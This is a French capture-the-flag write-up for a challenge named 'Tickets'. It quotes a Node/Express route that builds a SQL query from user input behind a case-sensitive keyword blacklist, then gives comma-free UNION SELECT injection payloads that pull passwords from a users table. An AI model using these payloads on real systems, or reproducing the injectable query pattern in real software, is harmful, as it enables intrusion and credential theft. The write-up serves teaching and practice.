Tickets
Flag: -
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
On commence par crรฉer un compte puis se connecter :


L'injection se passe dans le paramรจtre type
de /support
:

Voici le code qui correspond ร cette partie du site, je l'ai commentรฉ pour expliquer un peu plus :
app.get("/support", (req, res) => {
try {
const blacklist = [",", "=", "UNION", "union", "SELECT", "select", "FROM", "from"];
const { type } = req.query;
const token = req.cookies.token ? req.cookies.token : null;
if (!token) return res.status(200).render("login");
jwt.verify(token, secretKey, (err, decoded) => {
if (err) return res.status(401).render("login");
if (type) {
let cleanType = decodeURIComponent(type);
// Vรฉrifie notre input (pour le "nettoyer")
const containsBlacklistedWord = blacklist.some((word) => cleanType.includes(word));
const isValidType = /^[a-zA-Z0-9'()* \-]+$/g.test(cleanType);
// Si un caractรจre interdis est dรฉtectรฉ, quitte avec une erreur
if (containsBlacklistedWord || !isValidType) return res.status(400).json({ error: "Bad input was detected. Stopping processing the request." });
// Notre input est insรฉrer directement dans la query SQL
// On peut l'injecter en commenรงant par ' pour modifier son fonctionnement
const query = `SELECT * FROM support_tickets WHERE type = '${cleanType}'`;
connection.query(query, (err, rows) => {
// Si erreur dans la query, quitte avec une erreur
if (err) {
console.error("Error fetching support tickets: ", err);
return res.json({ Error: "An Error Occurred during handling your request." });
}
// Si pas d'erreur, nous retourne le rรฉsultat de notre query mis en forme
return res.render("home", { tickets: rows });
});
} else return res.render("support");
});
} catch (err) {
console.error("Error in /support route: ", err);
return res.status(500).send({ Error: "An error occurred while handling your request." });
}
});
Ligne 16
, on utilise la blacklist de mots interdits de la mauvaise faรงon car la casse n'est pas prise en compte. Donc si SELECT
est dรฉtectรฉ, ce n'est pas le cas pour Select
par exemple.
Il faut noter que la blacklist retire la virgule, ce qu'il faudra prendre en compte pour notre payload.
Ligne 17
permet de limiter les caractรจres utilisรฉs, mais on s'en fout.
Injection SQL
On commence par vรฉrifier que l'injection fonctionne, ici, j'utilise Burp pour rejouer et modifier la requรชte sur le /support
. On va รฉgalement se servir des sources pour lancer le site en local et observer les erreurs SQL en direct avec la commande docker compose up
ร la racine du dossier.


Dรฉjร , on voit que notre injection passe, on a modifiรฉ la query. Dรฉsormais, il faut la rendre valide.
Pour รงa on va utiliser cette astuce pour faire un UNION SELECT
sans virgule. Il ne faut pas oublier l'espace ร la fin du payload pour commenter la suite de la query de base : --
. La requรชte qu'on vient de faire n'a pas cette espace ร la fin, c'est ce qui provoque l'erreur. Le nouveau payload :
' Union Select * From (Select 1)c1 JOIN (Select 2)c2 --
Ce qui donne l'erreur :

Ce n'est plus qu'une question de nombre de colonnes, on va en ajouter jusqu'ร ce que รงa fonctionne. Finalement, avec 6 colonnes :
' Union Select * From (Select 1)c1 JOIN (Select 2)c2 JOIN (Select 3)c3 JOIN (Select 4)c4 JOIN (Select 5)c5 JOIN (Select 6)c6 WHERE NOT '

Maintenant que l'on connaรฎt le nombre de colonnes et lesquelles sont affichรฉes, on peut faire des requรชtes arbitraires pour rรฉcupรฉrer des donnรฉes.
Dans les sources, on a le fichier data.sql
. Dedans, on voit que le flag est dans la colonne password de la table users
, il suffit alors de rรฉcupรฉrer les mots de passe de cette table. On va mettre cette query dans la colonne 2 puisque la 1 n'est pas affichรฉe.
' Union Select * From (Select 1)c1 JOIN (Select password From users)c2 JOIN (Select 3)c3 JOIN (Select 4)c4 JOIN (Select 5)c5 JOIN (Select 6)c6 --

Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?